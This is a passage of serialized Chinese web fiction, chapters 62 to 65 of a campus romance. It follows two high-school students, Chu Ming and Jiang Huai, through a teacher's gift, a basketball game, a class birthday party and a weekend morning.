“我听说这次周考的事情了,”卫疏从电脑屏幕上移开视线,温柔地看着楚明。 楚明也看着她,轻笑道:“您也很难没听说。” 卫疏笑了笑,随手捞了只红笔便指着电脑桌面上的成绩界面:“我挺为你骄傲的。” 楚明说:“谢谢。” “高一上半学期我对你印象不深,常听你们班主任念叨,就记得你成绩不好还一心想往理科班考。”卫疏说,“但分班考试结束你还是留在21班,没两天你就说想直接找我背书,后来渐渐地你会到我办公室图清净写作业。我对你的印象就成了:你是一个很细心也很认真的学生。” 楚明听着,手里的饼干包装袋被捏出细小的动静。 “我还为你鸣不平来着,我说老天爷怎么能这么对一个努力的孩子。”卫疏看着他:“直到江淮到班,太闹腾了这孩子,我教书这么久从来没遇到过这么有劲的学生。” 楚明笑了笑:“他是挺特别的。” “但也确实是在他来之后,我才重新开始认识这个班级认识这个学校,你能懂吗?我忽然就意识到,”卫疏声音低了些,“教师先是职业后是情怀,就像人先温饱后才思考。” 楚明没说话,只是听着。 “你运气差了点。”卫疏沉沉地叹了声。 “也不算,”楚明勾着淡淡的笑。 “啊也是,你要是知道江淮为什么会来八中,确实会感叹一句幸运。”卫疏说。 楚明对这点倒是不清楚:“嗯?” “江淮中考考完语文就弃考,显然没到普高线,”卫疏说,“但他在初三上的时候参加过一中的招生考试,成绩挺漂亮,但他拒绝了,说是一中球场太小。原则来讲他是没有学校能读的,但好在那次成绩保留,几所私立院校里只有我们学校认可……” 楚明指尖轻抬:弃考? “这小子,我是挺喜欢的。”卫疏看着他:“我猜你也是,看你们经常同进同出,之后我就发现慢慢地你变了,尤其是看到你跑三千米的视频后,我对这次周考结果丝毫不意外。” 楚明面对她的用词默了两秒。 “我大概猜得到你心里会想些什么,但我能告诉你两点,第一,你们班主任有情绪是因为你成绩的突变让他也倍受关注,成绩突降或是突升对老师来说从来都不是小事;第二,你可以且需要继续变好向上,乖,你应该看见更好的自己。” 楚明有些意外地抬眼。 “多的我就不说,差不多帮你逃半节课了吧?”卫疏点开手机看了眼时间。 “啊……”楚明感觉卫老师今天的措辞尤其微妙。 看着他的表情卫疏笑了笑,弯腰从抽屉下方提出一袋东西,说:“这是我送给你和江淮的,至于谁要什么,你们自行商量。” “嗯?” 卫疏见他愣着,直接把提绳挂到他手上,说:“为师的骄傲。” 楚明依旧愣着:“谢……谢谢。” 走出办公室的时候还有老师朝他调侃:“小楚你晚上回去再看是什么。就你们卫老师送东西的水平,我怕你还没走回教室就想给她原封不动地送回来。” 楚明笑着回头:“您再说我怕我都出不了办公室的这道门。” “哈哈哈哈哈……”卫疏语不出来,只是笑得仰头。 确实如卫疏所说,逃半节课了都。 楚明到班时徐红梅正在讲台激情讲题,大概兴致来了,连点几个同学起来随机抽背历史重大事件时间。 他脚步极轻地从后门进去。 江淮最先注意到他,先一步把座椅往前挪了些。 只是非常不幸,楚明刚站到他身后,讲台上徐红梅就注意到了他,扬着鲜红的嘴唇:“来,楚明,刚好你站着,给我们梳理一下学过的中国近代以来的历史事件。” 楚明:“……” 他不动声色地放下礼物袋,指尖轻轻落在江淮椅背,从容不迫地说道:“1840到1842……” 时间线比较长,事件也多,但楚明一溜儿顺下去,除去说话间正常换气,完全没有任何卡壳。 徐红梅看着他,难以置信地瞪圆了眼。 鉴于她给定的条件,楚明背到现代以来她仍没有叫停,他便继续背,时不时稍一垂眼指尖轻轻点着江淮的脊背。 流畅严谨得像台机器。 江淮指尖无声敲着桌面,每敲下一次楚明口中便过掉一项历史事件。 他顿时有些恍惚,因为初见那天,楚明起来回答问题时连夏商周的时间都要支吾半天、还错得离谱…… 想到这儿,他反手伸向后,探索着抓住了楚明的手。 楚明面不改色地背着,也轻轻回握住,半晌,他说:“……差不多就这些。” “你倒是让我刮目相看,”徐红梅愣了好一会儿才说,“先、先坐下吧。” 楚明一步跨回座位坐下。 徐红梅瞄了他几眼,没再多说,而是拿起被她晾了许久的文综试卷:“我们继续讲题……” 课间本该是跑操,但由于近期在调整跑操音乐暂时归为长达二十五分钟的课间休息。 “我挑?”江淮抬起礼物袋,把里面两样东西抽了出来。 天利38套(语文)和一盒黑芝麻丸。 江淮:“……” 楚明看清东西时:“……” 他果然不该质疑语文老师的表达水平。 楚明已然无所谓了:“所以,你要什么?” “我都不想要。”江淮白期待半天,无语地说:“能要你陪我点精神损失费吗?” 楚明:“……” 他利落地把38套试卷挪到自己桌面,说:“你这要求过分了啊。卫老师送的,你让她给你赔。” “那算了。”江淮歪了下头,叹气:“我损失点儿吧。” 楚明笑了笑:“你想要什么?我送你。” “我?”江淮不假思索:“我想要你今晚来我家。”—— 作者有话说:今天很准时呢[墨镜] 诶嘿,大家国庆要去哪儿玩啊[眼镜] 第63章 第 63 章 “我带出来的人你未必能…… 这不是什么超标的要求, 楚明没犹豫:“好。” “这么爽快?”江淮挑了下眉。 “不然?”楚明笑着翻开套卷,这一翻才看见里面还粘着张蓝色便利贴。 “嗯?怎么?”江淮凑过来看。 楚明把便利贴撕下来,举在两人之间。 我猜一定会是你们两个人一起看这张便利贴, 因为黑芝麻丸确实难吃。 最是少年堪磨折。 我希望有一天, 你们也会为自己而骄傲。 ——卫疏。 “黑芝麻丸难吃吗?”江淮撕开塑料包装拧开盖子,从瓶里捞了颗黑芝麻丸剥开,含到嘴里:“我觉得还行啊。” 楚明看异种似的看着他:“……难吃。” “屁,”江淮嘎嘣嚼了两嚼, 眼睛透亮:“明明很好吃。” 楚明有些哭笑不得。 他回头看了眼便利贴, 思考半秒之后还是粘回了原位。 赵逵逵抱着本厚书转悠了过来,看着江淮桌面的黑罐子,眯起眼睛:“这是什么?” 江淮扫了他一眼:“走路不带眼睛?” “……哥们你这嘴, ”赵逵逵叹完气,一屁股坐在前桌位置,确定看清标签上写的东西时, 皱起眉头:“黑芝麻丸啊, 难吃得要死。” 江淮咔嘣嚼碎半颗丸,眼神锋利地看着他。 “啊好吃,好吃。”楚明无奈地伸手搭上他肩头, 伸出另只手往罐子里掏了颗黑芝麻丸, 准备重新品鉴一二。 赵逵逵目瞪口呆:“……你们是在演我吗?” 楚明拿到之后一秒破功, 把单独包装的这颗送到他手里:“你尝。” 赵逵逵谨慎地挑起眉毛, 揣进兜里:“我等会上课困了吃。”说着他把抱着的厚书放到楚明桌面, “对了,这是隔壁班主任让我给你的教辅,说是送去压秤不如送给你。” 楚明:“?” 他往白皮教辅封面看去,伸手翻了翻目录, 扫看着。 “当学霸好啊,都不需要自己买教辅。”赵逵逵说:“我刚看隔壁班那女生,常年霸居二十班前三的那位,从办公室一抱抱几大本资料书出来,高三的就更恐怖了。” “嗯?”江淮抬眼。 “有些老师跟书店的认识吧,我看他们都是抱一堆那种教辅试卷到班,学生疯一般地就扑上去抢。”赵逵逵捏了捏黑芝麻丸包装,发出吱吱的声响:“不过我肯定是那种抢了也不会做的人。” 课间过去大半,一些同学开始有组织地自习学习,谈天氛围瞬间对半砍。 赵逵逵越说越小声,后面索性弯着腰遛回座位:“中午一起吃饭。” “嗯。”江淮应下。 等他走了,江淮转着笔,不知道是赵逵逵话里哪些字眼刺激起回应,他蓦地想起什么,指尖拖来草稿本大笔一挥。 开学你放座位间那一大堆资料书,是你的吗? ——江淮。 不是。 ——楚明。 so? ——江淮。 暑假太闲,我帮他们做着玩。 ——楚明。 看着推回来的草稿本,江淮轻挑了下眉:那堆资料书可不少,或许有人高中三年都做不到那堆书的一半,但楚明只是一个暑假就做了那么多。 黑笔在指节之间肆意横转,他嘴角勾了下,他确实低估楚明了- 晚上楚明先去了趟“城屿·城”。 “哇塞,小楚哥,”秦苗见他第一眼就把手机屏幕怼向他,里面是一则聊天记录,她欣喜若狂:“你知道你年一的事情都传到别的学校了吗?这也太帅了!” 楚明拉开椅子坐下,还没来得及说话身后秦禾也拍了拍他的肩:“嗯?” “楚哥,你简直帅炸了,我幻想的我复读一年第一考也是这样的。”秦禾拍着他,一副忧态:“你以后不会涨价变贵了吧?” 楚明轻笑着翻出两本书,屈指扣了下桌面:“学习了,我按时收费的。” “遵命!”秦禾伸手推了个敬礼,飞速往书房冲去。 “好吧好吧,”秦苗也撂下手机,坐到旁边,摸笔的时候小声说了句:“小楚哥,你真的牛逼。” “我知道,”楚明唇角轻勾,指尖顺来笔指腹一压便转了起来,他用笔头轻敲了下桌面:“试卷给我,我看看。” “哦,好。”秦苗放下手机,只能强行咽下分享欲,把试卷推过去。 分析完他们学习的漏缺,楚明各自留了几道题,要比平时晚些离开。 出了小区,他静站着看了会儿对面小吃店里坐着的认真的背影,轻轻笑了,走过去揽上江淮的肩,轻声:“回吧。” “嗯,”江淮转了圈笔,把桌面的试卷卷进楚明的书包,往后伸了个懒腰,后脑勺直接靠到他胸口,声音困懒:“困死了。” 楚明伸手抚摸着他的脑袋: “我背你。” “背个屁,”江淮拉着他的手腕把自己撑起来:“就两步路上车。” “原来你知道啊,”楚明笑着把书包带挎到他肩上,跟老板说了声再见后,把江淮拉到了自行车后座。 还没蹬出两步,江淮就环住了他的腰。 过了会儿手便翻到衣服里,贪恋身体里充足的热乎气似的。 像解释自己行为原因,江淮忽地说了句:“天冷了。” “嗯,”楚明点了下头,骑车最能感受到风的温度,前些日子骑着还能感受到温暖,现在骑着风也是一天比一天凉。 “到冬天你也做吗?”江淮闷着声音问。 “做,”楚明单手稳着车,另一只隔着衣料扣住江淮的手:“过完这个冬天,就好了。” “他俩最好别复读,”江淮哼了声。 楚明:“……”- “还不能跑吗?”体育老师站了一会儿,太无聊,一步三回头地蹲到江淮旁边,摇了摇脖子上挂的黄哨:“我看你这身板,不应该啊。” 江淮坐着,一腿伸出轻点在橡胶跑道,一腿则曲起,手搭在膝盖上。 闻声他轻笑:“我倒是想跑。” “那去跑!来,老师陪你跑。”体育老师说着就要站起身:“我保证在你摔倒前零点一秒里扶住你。” 江淮看傻子似的看着他:“……” “你不信我?我的反应力可是杠杠的。”体育老师说着食指往人中横了一道。 “别,”江淮轻叹气:“我听医嘱。” “医嘱啊,”体育老师重新坐下来,皱了皱眉:“我跟你讲医嘱就是屁话,你趁年轻得该什么样就什么样。” 江淮挑眉:“然后呢?” “然后年纪大了就痛苦呗。”体育老师扶额:“但也划算,你想想谁年纪大了不是一把老骨头,但你不一样,你至少爽过,是吧?” “什么屁话。”江淮伸手荡开他的黄哨:“跑圈的回来了,管他们去吧。” 体育老师:“……” 等陈炜出队开始一二三四五六七八,体育老师也入队巡查有没有人偷奸耍滑。 江淮垂眼淡淡地看着地面,手心轻轻拍着左膝膝盖。 这些天他没断过训练,按医生所说训练强度降低了些。开始是有点不舒服,但渐渐地也还能接受。 他任性过,但多少没带智商。 视线淡淡地落在前方人群里格外出挑的楚明,他轻勾了下嘴唇。 再说,他要真的再乱来,楚明不得骂死他。 “啊解散……”今天体育老师更是偷懒,连日常词都没背完就两手一拍说解散。 人群散开,赵逵逵狂奔而来:“我先去占场子,你俩快点。” “嗯。”江淮应了声。 楚明走回来,伸手把他从地上拉了起来:“走?” “等我带个人。“江淮顺着他手心勾到他手指,捏住。 “带谁?”楚明愣了下,他竟不知21班还有可用资源。 “黄哨。”江淮说着把他带到旁边。 楚明跟着他:“?” 林荫□□育老师正蹲在地上捧着手机露牙傻笑,江淮看过去时吹了声口哨:“哎!” 楚明:“……”好一个黄哨。 “哎?”体育老师抬头,瞬间严肃脸,开始教训:“你个臭小子吹什么口哨!我以为哪个流氓来了。” 江淮:“……” 他选择不搭理这句话,轻笑着:“我看看您的反应力。” “哟,怎么,这是要招我进你们篮球队啊。”体育老师把手机揣进兜里。 “来不来?”江淮懒得废话。 “来。”体育老师搓了搓手:“我还怕给你们打抑郁了。” “不至于,”江淮说:“我带出来的人你未必能赢。” “嗯?什么叫你带出来的人?”体育老师看着他,惋惜道:“原来你不打啊?” “听医嘱。”江淮无奈地说完,抬手晃了晃牵着的楚明的手:“但我练过他。” “楚明啊,”体育老师没空惋惜,稀奇起来:“你练过?那我期待期待。” 江淮面上带着一贯的自信:“该的。” 体育老师:“……” 篮球场今天还算热闹,天气也难得放晴——入秋后雨水不断,连着大半周的阴雨天气把人都下得发霉。 赵逵逵号召力不错,还招来些场外喊加油的。 “黄……黄老师?”赵逵逵抱着球还没开骚,看着走过来高大威猛的一坨人,愣了半秒,陪笑:“您怎么来了?” 体育老师虽然误打误撞地姓黄,但名力,他跃跃欲试边跳边说:“我来感受一下你们的力量!” “力量?”赵逵逵顿了下,条件反射:“抛、power……” 黄力没跳起来,沉脸:“……体育生就别拽英文了,怪磕碜的。” 赵逵逵勉强一笑:“哈、哈哈。” 勉强完趁有人准备活动,他连忙飞去撞了撞江淮的肩,小声咆哮:“这是怎么回事?他不会是要给我们篮球据点端了吧?” 江淮瞥他一眼:“没,他欠我一场。” 赵逵逵嘴巴大得能塞下颗鹅蛋:“哥们你说话是真帅啊。” 江淮不理解:“什么鬼。” 赵逵逵讳莫如深地摇摇头:“你不懂,帅是一种感觉。” 江淮:“……” 鉴于黄力冒昧进队,原本成形的两两对抗组先进行一轮极简式淘汰赛——投篮。 “呃……”赵逵逵抱着球,环视一圈把球丢给黄力,慌忙之间梦到哪句说哪句:“长、长辈优先。” 黄力把挂脖的哨子往后一甩,哨子啪嗒砸在背上,他抱着球蹂躏,嬉笑问:“我是你什么长辈?” 赵逵逵忐忑:“父、父辈……” 黄力转着球,下意识:“……的荣耀。” “牛逼,”江淮走过来,想也没想拍夺过黄力手里的球,侧身转头,走位风骚地转腕直投,篮球嘭!地砸到篮板,再哐!地掉出筐里,场面瞬间安静下来,他眉心一压:“没过年走什么亲戚,队长先投别废话。” 跟道指令似的,话音刚落赵逵逵腰板立刻挺直,接过球连忙退到线外。 黄力则是稀奇地看了江淮一眼,跟着晃到线外做准备。 这种淘汰方式最为直观,一圈下来高下立见,赵逵逵喊道:“陈炜,out!” 陈炜抱着球,胸口起伏还没消停,他沉着脸放下球,走到线外。 人员定下来便手心手背分组,黄力赵逵逵一组,楚明在对面。 随意扫了眼队伍,江淮走过来轻拍了下楚明的屁股:“外套给我。” “好。”楚明把外套脱了。 江淮抱着他的外套,凑他耳边轻声:“我先看几分钟黄哨的,不知道什么路子。其余人你随便打,不用收着,越狠越好。” 楚明挑了下眉:“多狠?” 江淮声音低了些,笑着:“能让我看爽的程度。” “我尽量。”楚明唇角轻勾,抬手理了理衣摆,走进队伍里。 除去之前间谍式进队和捡球,楚明没跟这群人有过直接的对线,打配合显然比较难。 对面赵逵逵有鲜明的体格优势,黄力不止体格,经验和战术想必也占优势…… 黄力嘻嘻哈哈地取下脖子上环着的黄哨,就势要抛给江淮。 江淮冷他一眼:“自己吹。” 黄力:“……”到底谁是老师?! 他忍辱负重地站好位,比好手势“fer~”地一声吹响哨——哨声刚落,他揣好口哨便率先撕进场子。 场面一度混乱。 江淮外套盖头,后脑勺隔着衣料抵靠在塑料围网上,微仰着头面无表情地观战。 他没想到黄力会是个争抢型球员,尤其喜欢争夺球权,反应力如他自己所说确实快,技巧也有……只可惜,许是太久没打过,四肢跟借来的一样,僵硬死板。 别给老骨头打散架了,他歪头,满意地看着楚明强势的进攻。 猛。 一路猛杀,接连的严防死守都没能奈何到他,最后楚明从三四双手的桎梏里挣脱,飞身一跃直夺球筐而去。 ——“嘭!” 第一球收入囊中。 江淮嘴角轻勾,双手抱胸,慵懒地继续欣赏。 “哟,”黄力稀奇地看着从他手里夺球的男生,眼神直直地盯着他:“楚明我没想过你这么猛啊,之前我以为你不会打篮球呢。” 楚明轻轻一笑,运着球后退两步:“继续。” 再度拉开争抢,这回楚明有球权,在接连扑过来的防守里,他运球飞奔,在队友甚至都没反应过来时,站在刁钻的偏角看也没看利落地转身跳投! “卧槽!!!” “牛逼,这都能进!” “他是叫楚明吧?这人是不是有运动牛逼症,之前跑步现在篮球,怎么着,是在备战奥运吗?” …… 隔着薄薄一层衣料,江淮把身后的欢呼说笑尽数收归耳中,唇轻轻勾着,他伸手挑了下碍眼的银色拉链,继续欣赏。 估摸着找到感觉了,黄力在赵逵逵从敬畏到欣赏到怀疑的眼神变化里,终于拿下一球。 黄力“ber~”地吹了声哨:“休息会儿。” 江淮抬了下手:“过来。” 楚明往这边看了眼,走了过来。 “哦哟哦哟,走过来噜……” “哇塞,我以为是氛围感帅哥,没想到是硬帅啊……” “不知道欸,球打得挺帅啊。” 江淮听着这些话,在楚明站到他面前的瞬间,伸手揽过他脖子往自己胸前压来,轻笑道:“帅啊。” 楚明还没来得及说话,耳畔忽地炸翻,细听过去全是“我操”。 他拍掉江淮的手,往旁边站直,气息稍有不稳:“没水吗?” “帅哥帅哥我有我有!” “水水水在这儿!” 有几双手穿过塑料网的小格子戳了进来,楚明往旁边走了半步,才不至于被突然拱出来的水瓶子戳到后背。 他看了江淮一眼。 “记得说谢谢。”江淮难得没吃醋。 楚明接了瓶农夫山泉,单手拧着瓶盖时另只手伸到江淮脑袋顶着的外套里摸了一把黑芝麻丸,递给女生:“谢谢。” “不、不客气。”女生激动地双手捧过。 转回去时江淮微眯着眼在看他。 楚明轻顿:“……”忘了这是江淮的粮。 他捧着水喝了几口,凑过去小声说:“我晚点给你买。” 休息整顿得差不多,把楚明扔去“战场”前,江淮接过水,交代了句:“随便打。” “感觉到了。”楚明轻笑说。 哨声吹响,黄力狂奔猛跑地给对面送去一球,在赵逵逵看贼似的眼神里微笑着摸了摸鼻子:“哎呀,宝刀稍稍微微有点老了。” 赵逵逵:“……” 场外江淮仰着头喝水,目光淡淡地落在楚明身上,直到再无悬念,他把外套拉下来挂在脖子上,慢慢走过去。 “不得不说,你们确实比较有力量,”黄力双手撑着膝盖,喘成发动机。 赵逵逵偏头看着他:“老师,我以为你至少应该有点用的。” 黄力摇了摇头:“出门没看广告,我的体育之魂还没复活。” 赵逵逵:“……” 楚明捡球回来,肩膀轻撞了下江淮。 “喝,”江淮拧开瓶盖把水递了过去,双眼含笑地微微弯身看着黄力:“您的反应力有点慢啊,快输了才反应过来这是您的绝对领域,已经输了才反应过来该投篮不该送球,是吗?” 黄力:“……” 他瞪了江淮一眼:“不是才说了,宝刀微老。” “都锈了。”江淮看着他。 黄力重地叹气:“好吧,我承认我疏于锻炼很多年,你练出来的人还真不赖,楚明好样的,八中的希望,篮球的新星,时代的太阳,世界的明天。” 江淮略显无语:“体育生就别拽文采了,怪磕碜的。” 黄力:“……” 一行走出球场时,江淮依旧揽着楚明的肩。 “你俩又腻歪上了。”赵逵逵偏过来一眼,“不热吗?” 江淮搂得更紧:“我喜欢。” 赵逵逵看着他:“??” 楚明紧急找补:“……热的。”他轻顿,“他喜欢热的。” 江淮:“……” 赵逵逵:“……”—— 作者有话说:明天应该还能继续[亲亲] 第64章 第 64 章 “你不是早就叫过哥了吗…… 自从秋天无声里来无声里去, 立冬以来天气一阵冷过一阵。 秋季校服完全被抛弃,随之裹上的是厚重而宽大的冬季冲锋衣——依旧校服同款。 估摸着再过段时间秋季校服得重回战场,成为罩羽绒服的宽松“利器”。 “所以是什么, 蒙古西伯利亚高压, 高压吹向低压,吹偏北风,冷空气南下?”赵逵逵虚心请教着,“我们这里就冷成这样了?” 江淮抬眼:“不是才考?” “啊?我又记错了?”赵逵逵吓得把筷子噌地放下, 挺直腰板。 江淮:“……” 楚明嚼完嘴里才塞下的炖萝卜, 说话时嘴里呼出薄薄一层白气,他缓了缓:“说得倒也没错。” “哦,原来诈我呢!”赵逵逵连松一口气:“江哥你真是, 我是那么惊吓的人吗?” 江淮扯了下嘴角:“你的自信呢?” “学习面前不存在自信,”赵逵逵重新拾起筷子,可怜巴交地说:“我每次考试都是太自信, 不然我也不会改错那么多答案。渐渐地我就明白一个道理, 在答案面前永远装孙子别当老子,越不相信自己越能考好。” 江淮&楚明:“……” 冷起来食堂饭菜稍有变更,多是些炖煮类的玩意, 主打一个暖胃又健康。 江淮挑起炖得挺软的排骨, 趁热气跑开时问道:“委屈自己成全成绩?” “对啊对啊, 现在不是说, 自卑是男人最好的医美, 我自卑到一定程度,连学习都会为我折服。”赵逵逵像是找到了真理,就差站起身筷子指天高歌一曲。 江淮:“……” 他把排骨丢回汤里重新捂热,轻笑道:“自卑啊。逵逵, 你抱着篮球跪篮板底下,我去看看自卑多久能进球。” 赵逵逵默了下。 江淮挑了下眉:“学习是武装自己,让你有自信的底气,怎么还越学越不自信了。” “我靠,”赵逵逵看着他,像看到光:“江哥你——” 江淮扯了下嘴角:“政治学多了。” 赵逵逵:“……” 楚明笑了笑,玩笑式地背道:“中特色社会主义文化,始终坚持以科学的理论武装人,以正确的舆论引导人——” 江淮接道:“以高尚的精神塑造人,以优秀的作品鼓舞人,无论是思想内容还是——” “Stop!!” 赵逵逵捂住耳朵,“我操,政治真的学多了,我条件反射想往下接,幸亏没背熟,你俩是魔鬼吗?背这么流畅……” 江淮捕捞起被丢弃的排骨:“这才几个字啊。” 赵逵逵:“……” 报告老师,这里有学生杀人诛心。 “不过你俩确实牛逼,”赵逵逵叹了口气,“期中表彰之后楚哥稳居王座一直没掉下来,江哥你自从冲进前十也没出来过,就我一个吊车尾。哎哟,简直了,我都不敢想期末家长会的时候,我妈问我,怎么我跟着你俩玩这么好一点好都没学到呢。” 江淮想了想,说:“她问你就要答吗?” 赵逵逵瞪圆眼睛:“我靠,还能这样?” “不然?”江淮挑眉。 “牛逼。”赵逵逵给他竖起大拇指。 “不过事后被揍成猪头还是牛头我就不乱猜了。”江淮搅着汤,慢条斯理地补充。 赵逵逵:“……” 楚明笑得肩头轻抖。 “哦对了,等会吃完你们要不要去超市逛逛?”赵逵逵三两下刨完饭,见楚明还在斯文地喝汤,问了句。 江淮不懂就问:“逛什么?” “不是平安夜圣诞节,超市里好像有卖苹果。”赵逵逵说完,提前预判:“我知道苹果难吃,但今天还是喇叭哥生日,他妈买了个超级大蛋糕,说是晚上班上同学一起分着吃。我就想着临时去买点礼物什么的。” 楚明放下碗:“你都这么说了还能不去吗?” “嘿嘿,”赵逵逵挠了挠脑袋:“哦,对了,楚哥,你生日是多久啊?” 江淮偏过头看向楚明。 “我?”楚明无端联想到什么,默了半秒才说:“我四月份的。” 赵逵逵:“……” 他默了下:“不是,谁说生日说月份啊。” 江淮忽地轻笑出声,嗓音里带着欢悦:“19号啊。” “嗯?”楚明挑眉:“这么会猜?” “我操!”赵逵逵眼珠子一瞪:“这都能猜?” 江淮唇角勾着,没脱口而出一句“毕竟亲过”,他伸手揽过楚明的肩,轻笑说:“你比我大啊?” 江淮八月份的,楚明点头:“嗯。你不是早就叫过哥了吗?” “也是。”江淮笑了笑。 “我六月三号。”赵逵逵玩着筷子:“所以,我们仨里最小的居然是江哥?!” 江淮已经猜到他要说什么了:“滚蛋。” “我还没说呢,”赵逵逵看着他。 江淮搓了个响指:“我顶多喊楚明一声哥,你就算了。” 楚明看着他,笑着。 赵逵逵愣了半秒:“不是,江哥你会读心术吗?你怎么知道我想让你叫我一声哥?” 江淮笑说:“你的眼睛会说话。” “啊啊你别,江哥你怎么这么会撩人。”赵逵逵突然娇羞起来。 楚明:“……” 江淮:“……” 他沉默半秒,起身收盘:“再不走我得吐这儿。” 楚明利落地单手抄起餐盘跟上。 “哎哎哎,等我等我。”赵逵逵笑出一串银铃般的动静,飞奔着往倒食区跑,“赵哥逵哥黑哥随便你叫,淮淮你等等我……”- “今天呢正好是侯俊同学的生日,”最后一节晚自习大马猴笑嘻嘻地站上讲台,说:“他妈妈买了蛋糕,说是让大家学习之余也能快乐快乐。来,侯俊,寿星也上来说两句。” 喇叭哥嘿嘿着就往讲台上去了。 大马猴一个滑步飞速下了讲台,站到前门门框里,慈祥地看着。 “今天是我的生日,”喇叭哥乐呵呵地站着,把讲台下放好的蛋糕提起来,他笑着说:“然后我也不知道要说什么了,反正大家都开心吧!” “我不行了,声音依旧有杀伤力。” “习惯是个好东西,他说话的前一秒我的手就长我耳朵上了。” …… “那就分蛋糕吧。”喇叭哥搓了搓手。 “好耶好耶!!”底下雇了两个气氛组。 刘明宇上台,先是熟练地点开音乐播放器,这边插蜡烛点蜡烛,他又示意好后排的人看眼色关灯,找准时机点击播放。 冬天的夜晚本来就要漆黑些,灯一灭,讲台间明黄的蜡烛耸动,顿时就来感觉了。 “祝你生日快乐……”全班开始大合唱。 江淮跟着节拍鼓掌时,看了眼蛋糕上的数字,18,上半身朝里偏:“他这么大了?” “嗯,”楚明也凑向他:“他入学要比我们晚一年多。” 江淮挑了下眉:“成年了。” “迟早的事。”楚明轻笑说:“你别羡慕。” 江淮伸手拍了下他的手:“啧,哪只眼睛看出我羡慕?” “两只眼睛。”楚明握住他的手,轻声说着:“你的心思太明显了。” “嗯?”江淮偏过头来。 “年纪大又不意味着什么,”楚明捏了捏他的手指,“你虽然比赵逵逵小,但他可是实打实地叫了你那么久的江哥,你倒不必因为年龄多想。” 江淮轻顿:“嗯。” 讲台上喇叭哥在闭眼睛许愿。 许完愿吹光蜡烛,他和几个前排的女生一起拆分蛋糕,几十个纸碟子被排开。 “也算是沾点侯俊生日的喜气吧,”大马猴说:“我给大家买了点零食,来几个同学分一分,快期末了,大家努力学习,争取考个好成绩过个好年!” 分成小块的蛋糕渐渐散发下来,大马猴买的糖和小零食也等份落到每个同学的桌面。 “好爽啊!” “感觉这个蛋糕很好吃,不会到我这儿就没了吧。” “今天这是怎么了?好幸福好幸福!” “有人蛋糕过敏吗?我可以吃,嘿嘿嘿嘿……” 刘明宇把两蝶子蛋糕放到江淮桌面。 “谢谢。”江淮说了声。 把其中一份往里递的时候,江淮先用小叉子把上面的芒果丁连着周边小片奶油一并刮走。 楚明诧异地看着他:“干嘛?” “你不是芒果过敏?”江淮把碟子放他手里。 楚明接过,依旧诧异:“你怎么知道?”他都没提过这件事。 “每次卫老师给你芒果干你都塞我嘴里,”江淮说:“我很难不多想。” “嗯……”楚明看着他,轻轻勾唇:“你心蛮细的。” 江淮吃掉芒果丁,微微凑近他:“有更喜欢吗?” 楚明笑笑,俯身用指腹轻轻划掉他嘴角沾着的奶油沫:“有。” 还没吃到后期就有人开始玩起奶油,教室里一度混乱非常。 “安生点安生点。”大马猴走上讲台,压制住乱飞奶油的学生,严肃认真地说:“下下周就要期末考试,今天闹完就好好收心学习,到时候是要开家长会的。” 跟施法了一样,教室瞬间安静下来。 “家长会,公开处刑啊。” “下下周就考,那下周元旦节还要放假吗?” “高三不放,不知道我们放不放。” …… 大马猴的耳朵捕捉到“放假”两字,气得hur~一下就倒了过去。 他苦口婆心:“孩子们呐,学习为重啊。” 等晚自习下课,江淮收拾书包时问了句:“期末家长会?” “怎么?”楚明手指正勾着黑色布口罩,闻声轻顿。 “没怎么,”江淮眸光暗了一瞬,起身时恢复如常,说:“我想想怎么骗我妈来这坐半天。” 楚明:“……” 他没忍住笑了出来,把口罩勾了上去:“用不着你骗她也会来吧。” 江淮也笑笑,没接话,只是把他鼻梁骨处的口罩边往上提了些:“走吧,回去。” 楚明微愣:“嗯,好。”- 回去的时候江淮洗漱前先跟吴珊聊了会儿天。 【狗】吴大老板,喜欢楚明吗? 【珊姐】干嘛? 【珊姐】喜欢,但你最好能给我放个好屁。 【狗】家长会来吗? 【珊姐】来啊,好不容易有机会当你妈,我必须得来啊。 【狗】把我爸带上。 【珊姐】?这就是你放的屁? 【狗】我想你们来坐两个位。 聊到这里隐晦的信息已经说开了,对面明显沉默了,“输入中……”半天都没有出出来对话。 江淮撂下手机,静静地等了一会儿。 良久,对面跳进来消息。 【珊姐】好,我知道了。 【狗】我爱你,妈。 【珊姐】…… 【珊姐】我也爱你,干儿子。 【狗】微笑jpg—— 作者有话说:依旧时间大法。 第65章 第 65 章 “你学东西好快。”…… 期末前倒数第二个完整的周末显得格外珍贵。 虽然起床的时候珍贵已经走了一半。 江淮伸了个懒腰, 睡饱之后人也是餍足的,他神清气爽地洗漱完,手指被冷水泡得冰凉。 他抽了张纸擦着手往沙发上坐去, 正要摸到手机点份吃的, 看见屏幕显示的时间,他皱了下眉: 果然是跟楚明待久了。 他什么时候睡到十一点多才起床…… “啧,”江淮横着往抱枕上滑倒,指尖才划到屏幕, 耳边忽地捕捉到一点杂音。 他拧了下眉, 瞬间就坐直了。 声音小心翼翼的,开始是脚步声,再接着就是收敛着的翻箱倒柜的动静。 哪来的小偷? 手机被反扣在手心底, 江淮指尖重地一捻,没多做思考站起来便往声音源头——厨房走去。 天冷之后,江淮习惯性地套件厚绒睡衣, 厨房门合着, 他先是把袖口卷上去一截,脚刚抬起来就势要踹开门时,门被轻地拉开。 视野里跳进一张熟悉得不能再熟悉的脸。 “你干嘛?”接着是楚明的声音。 “你……”江淮愣愣地收回飞到半空的腿, 见楚明手里端着个碗, 正用勺子搅着, 热气乎乎地朦胧着他的脸, 他退出两步, 嘴唇勾了起来:“你怎么在这儿?” “不是你让我来?”楚明拉开饭桌里的座椅,示意他坐下。 “有吗?”江淮笑了笑,好像是,昨天他让楚明过来陪他复习, “怎么进来的?我以为家里进贼了。” “你是不是睡太久脑子睡软了,钥匙你给我的。”楚明看了他一眼,忽地皱眉:“又不穿鞋。” 江淮坐下,晃了晃脚:“没觉得冷。” 楚明:“……” 他把小碗塞到江淮手里,轻声:“泡的豆奶,先喝着。” 江淮接过,捏着勺柄搅了搅,眉梢一挑:“你去哪儿?” “我给你拿鞋。”楚明轻叹了口气。 “哦。”江淮埋进碗里开始喝。 江淮搅了几下之后便捧着碗直接喝。 暖融融带点甜味的豆奶滑进口腔,喉管连同胃部都跟着热乎起来,他舒坦得眯了眯眼。 “穿鞋。”楚明拎着双嵌了绒毛的拖鞋站他面前。 “嗯,”江淮伸脚过去,踩进去的时候挑了下眉:“你今早上什么时候起的床?” “七点多吧。”楚明拉开旁边的椅子坐下。 江淮震惊地看着他:“这么早?” “嗯,”楚明笑着抽出一张纸:“我昨晚睡得早。” “啧,”江淮又喝了口,“多早?昨晚七点?” 